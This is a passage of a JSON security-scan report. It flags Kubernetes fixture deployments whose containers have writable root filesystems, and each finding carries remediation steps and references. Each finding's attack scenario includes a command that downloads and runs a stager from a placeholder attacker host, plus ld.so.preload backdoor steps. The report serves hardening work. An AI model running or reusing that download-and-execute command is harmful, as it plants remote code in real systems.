      "Validate: `kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:containersec-fixtures:containersec-lifecycle:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/containersec-fixtures/containersec-lifecycle`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-lifecycle` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-lifecycle`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/containersec-lifecycle -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:containersec-fixtures:containersec-limits:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/containersec-fixtures/containersec-limits`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-limits` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-limits`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/containersec-limits -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:containersec-fixtures:containersec-probes:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/containersec-fixtures/containersec-probes`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-probes` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-probes`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/containersec-probes -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:csr-fixtures:csr-mint-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/csr-fixtures/csr-mint-app`",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-mint-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-mint-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/csr-mint-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:csr-fixtures:csr-sign-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/csr-fixtures/csr-sign-app`",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-sign-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-sign-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/csr-sign-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:flat-network:unmatched:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/flat-network/unmatched`",
    "description": "Container `app` in `Deployment/flat-network/unmatched` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
